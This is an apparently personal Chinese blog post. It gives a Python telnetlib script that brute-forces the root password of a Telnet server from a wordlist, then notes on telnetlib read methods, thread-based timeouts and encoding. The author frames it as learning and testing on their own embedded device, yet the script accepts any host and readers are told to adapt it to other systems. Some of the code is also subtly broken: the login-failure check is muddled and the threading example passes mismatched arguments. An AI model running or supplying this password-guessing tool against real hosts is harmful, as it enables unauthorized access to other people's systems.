最近在学习Python网络相关编程，这个代码实现了Telnet自动连接检测root用户密码，密码取自密码本，一个一个检测密码是否匹配，直到匹配成功，屏幕输出停止。
Python内置了telnetlib模块，支持telnet远程操作，只要直接import就可以。
代码如下：
# encoding=utf-8
import telnetlib
import time
import sys
import os
def do_telnet(Host, Port, username, password, finish):
# 连接Telnet服务器
tn = telnetlib.Telnet(Host, Port, timeout=1)
tn.set_debuglevel(3)
# 输入登录用户名
tn.read_until("login: ")
tn.write(str(username) + '\n')
# 输入登录密码
tn.read_until("Password: ")
tn.write(str(password) + '\n')
# 判断密码错误提示，如果没有这个提示说明登录成功
if tn.read_until(finish):
print("****** login incorrect!\n")
tn.close()
if __name__ == '__main__':
Host = input("IP:") # Telnet服务器IP
Port = input("Port:") # Telnet服务器端口
username = 'root' # 登录用户名
finish = 'incorrect' # 密码错误提示
pw_file = open('.\\pw.txt', 'r+') # 密码文件
Index = 0
print(time.asctime(), ": ****** begin", "\n")
while True:
password = pw_file.readline()
Index += 1
print(Index, time.asctime(), ": ****** try", "", username, ":", password, "")
if len(password) == 0:
break
do_telnet(Host, Port, username, password, finish)
pw_file.close()
密码本pw.txt，内容例如：
root admin 12345 888888
输出如下：
注：我这边测试的目标主机是嵌入式linux系统，用户名是root，密码错误返回的是incorrect提示。你可能要根据目标系统不同修改用户名和错误提示。
telnetlib提供好多方法可以得到数据，象read_until()是当结果中存在想要的信息时返回，read_some()是只要有结果就返回，read_very_lazy()是返回缓冲区中的数据。经过看代码，telnetlib采用缓冲的处理方式，因此数据并不是一下子就返回的，而是先放在了缓冲区中。许多的读取处理都是围绕着这个缓冲区来的。而缓冲区的信息何时到达就不说不清楚了，也许很快，也许很慢，也许分别到达，也许一下子就收到了。因此，对于数据不一定到齐的这种情况，就采用了象read_until()来判断缓冲区中的数据是否有想要的内容，如果没有就等待，除非到达了超时时间。再有可以使用expect方法，与read_until差不多，但是它可以支持正则表达式，功能要强大得多。
在网上还有一个叫 Pexpect 它好象功能强大，它支持多种协议，它的主页就建议使用 Pexpect 来下载它的文档。不过因为网络不太好就没有下来，不知道支不支持 Telnet 协议。
上面的程序再配以 ftplib 的功能就可以做一个远程更新的维护程序。只不过如何判断后台返回的信息，我没有找到好的方法，是使用read_lazy()还是read_eager()呢？还是什么别的方法。最主要的问题是，返回的数据不一定完整。好象没有提供一个read_line()的方法。
其中port和timeout是可选的参数，而timeout的只是在初始化socket连接时起作用，而一旦连接成功后如果出现等待那就不会起作用了，比如使用read_until方式获取内容时返回的内容与指定的内容没有吻合，那么就会造成提示等待的情况，这时timeout是不会起作用的，而这个socket连接会一直保持着，永生不死。
那么如何解决这个问题呢，其实还有一种比较原始的方法，就是使用sleep方法来代替read_until方法，这样就不会出现种情况，因为到点就会自己输入，最多也就是最后得不到想要的结果，但是这个方式很不稳定，兼容性也不好；另一种方法是使用线程来启动这个函数，然后对子线程进行超时设置，这样就可以达到间接控制这个telnet连接的目的了。
import threading
th1 = threading.Thread(target=do_telnet, args=(host.encode('utf-8'), user.encode('utf-8'), passwd.encode('utf-8'), finish.encode('utf-8'), commands))
th1.start()
th1.join(20) ##20秒超时时间
遇到的问题：
传递给Telnet方法的字符串都会被解一次码，所以如果你传递过去需要write的字符串是已经解码的unicode的话，那么就会报错的，所以在传递发送的字符串之前还是先编成utf-8为妥，用ascii编码也可以。